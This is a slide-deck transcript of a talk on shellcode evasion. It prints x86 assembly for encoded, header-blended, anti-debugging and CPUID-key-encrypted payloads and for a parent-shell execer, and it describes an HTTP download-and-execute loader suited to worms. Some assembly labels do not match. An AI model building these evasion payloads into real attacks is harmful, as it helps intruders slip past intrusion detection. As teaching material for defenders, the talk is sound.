Understanding Shellcodes: Evolution, Exploitation, and Defense Mechanisms

1. Shellcodes Evolution Itzik Kotler izik@tty64.org Killing time till the feds arrive

2. Shellcode • Machine code used as the payload in the exploitation of a software bug • Whenever altering a program flow, shellcodes become it's natural continuation • Common in exploitation of vulnerabilities such as stack and heap-based buffer overflows as well as format strings attacks

3. What shellcodes can do? • Providing access to the attacked system • Spawning /bin/sh [or] cmd.exe (local shell) • Binding a shell to a port (remote shell) • Adding root/admin user to the system • Chmod()’ing /etc/shadow to be writeable • Anything that you want, as long as you code it.

4. World vs. Shellcodes • NIDS (Net Intrusion Detection System) • Signatures • Protocol analysis • IPS (Intrusion Prevention System) • Sandbox/Emulation • Non standard installation • Different paths for common binaries (/bin/sh) • Size issue • Protocols enforce different buffer sizes

5. Defense: Wire diagnose • Recognize and classify network traffic prior to reaching its destination • Allows searching for signatures/patterns • The strength of this method comes from how well the rules were compiled • Common feature in NIDS

6. Shellcodes vs. Wire diagnose • Encoding (polymorphism) • Attacks the signatures by masking the bytes and later decode or extract them back • Blending (raising the false-positive bar) • Attacks the signatures by blending unsuspicious bytes into the shellcode ones • Tunnel through VPN/SSL (encryption) • Make’s it impossible to decode the stream

7. Attack: Shellcode Encoding pushl $0x81cee28a # PUSH 4 bytes of encoded (+1) payload pushl $0x54530cb1 # ... pushl $0xe48a6f6a # ... pushl $0x63306901 # ... pushl $0x69743069 # ... pushl $0x14 # popl %ecx # ECX = Length of payload _unpack_loop: # Decoding loop decb (%esp, %ecx, 1) # Decrease byte at ESP[ECX] decl %ecx # Decrease loop counter jns _unpack_loop # incl %ecx # ECX = 0 (previously -1 from loop) mul %ecx # Zero out EAX,ECX,EDX (Optimizing trick) push %esp # Push address of decoded shellcode Ret # Jump to the decoded shellcode

8. Attack: Shellcode Blending # # PK[\03\04], PK[Zip] archive data header # .byte 0x50 .byte 0x4b .byte 0x03 .byte 0x04 .byte 0x24 # # Bitmap 24bit Header # .byte 0x42 .byte 0x4D .byte 0x36 .byte 0x91

9. Defense: Runtime diagnose • Recognize classified execution outputs of codes which were marked suspicious of being shellcode • The strength of this method comes from it's active approach toward the network traffic • Completion for Wire diagnose

10. Shellcodes vs. Runtime diagnose • Anti-debugging tricks • Embedding anti-debugging tricks into shellcodes to fight debugging attempts • Pre-shared key encryption • Encrypt the shellcode against an identifier which known to the attacker and is unique or reachable from the attacked machine and be used as the key

11. Attack: Anti-debugging Shellcode push $0x30 # popl %eax # EAX = 30h (SIGNAL_SYSCALL) push $0x5 # popl %ebx # EBX = 05h (SIGTRAP) jmp _evil_code # Register signal handler _evilcode_loc: # popl %ecx # ECX = EIP int $0x80 # Execute syscall [EAX=signal|exit] int3 # Debugger trap incl %eax # Alternative code flow [EAX=exit] evil_code: # Dummy call (push EIP+1 on stack) call _evilcode_loc # push EIP+1 on stack nop # Address registered as SIGTRAP Handler

12. Attack: PSK Encrypted Shellcode xorl %eax, %eax # Zero out EAX for CPUID cpuid # ECX = Key (set by CPUID) pushl %ecx # PUSH Key (Loop Stop Condition) pushl $0xeca895e7 # PUSH 4 bytes of XOR’ed payload pushl $0x3f377fde # ... pushl $0x8fec1a07 # ... pushl $0x0e4a1c6e # ... pushl $0x04165b06 # ... unpack_loop: # Decrypt loop xorl %ecx, (%esp) # ENCRYPTED_DWORD ^= Key popl %edx # (*ESP) = Next ENCRYPTED_DWORD jnz _unpack_loop # subl $0x18, %esp # Re-adjust ESP to beginning of payload pushl %esp # Push address of decrypted shellcode ret # Jump to the decrypted shellcode

13. Defense: Customizing • Linux and *BSD has the flexibility which allows administrators and power-users to rearrange the system layout as they wish

14. Shellcodes vs. Non standard path • Processes hierarchy scanning • Scanning the parent-child topology, it will be clear that at a range of 0-3 depths within the tree, the parent process is most likely to be a shell. • Exception to this is the 'initd' process, started by the kernel itself.

15. Attack: Non standard shell locater & executer shellcode push $0x40 # popl %eax # EAX = 40h (SYSCALL_GETPPID) int $0x80 # EAX = Parent pid process # _convert: # Convert from INT to ASCII decl %esp # cdq # pushl $0xa # popl %ebx # divl %ebx # addb $0x30, %dl # movb %dl, (%esp) # testl %eax, %eax # jnz _convert # cdq # IF (EAX < FFFFh) EDX = NULL (Optimizing trick) popl %ebx # EBX = PID (ASCII STRING) pushl %edx # PUSH NULL pushl $0x6578652f # PUSH “/exe” pushl %ebx # PUSH PID (ASCII STRING) pushl $0x2f636f72 # PUSH “roc/” pushl $0x702f2f2f # PUSH “///p” movb $0xb, %al # EAX = 0Bh (SYSCALL_EXECVE) movl %esp, %ebx # EBX = char *filename pushl %edx # EDX = **envp pushl %ebx # ARRAY = [ filename , NULL ] movl %esp, %ecx # ECX = **argv int $0x80 # EQUALS execve(“/proc/<PARENT-PID>/exe”, argv, envp);

16. Exploitation Limitations • Not a defense per se, but still an obstacle • The most popular limitation is the size limitation, which requires the shellcode to shrink at times • There is a a tradeoff between the shellcode functionality level and it's size • Boys ‘n girls the size does matter!!!!

17. Shellcodes vs. Size limitation • Stages • Dividing every logical operation into smaller actions allows the creation of a pipeline

18. Attack: HTTP Loader Shellcode • Sorry too big to fit into a presentation • Go fish at http://www.tty64.org for it • There are two versions of HTTP fetcher • ELF binary download and execute [bigger] • Binary download and execute [smaller] • Allows automation in pentesting • set up a web server which confirms once a system has been exploited by watching hits from the loader arrive • Can be used for self-spreading worms and viruses

19. Future planned projects • Runtime shellcodes framework • Support for plugins and modules • API in Assembly and C languages • Cross platform support • Linux, Windows, *BSD, … • Shellcode compressor • Ideal for big/complex shellcodes

20. Questions? izik@tty64.org http://www.tty64.org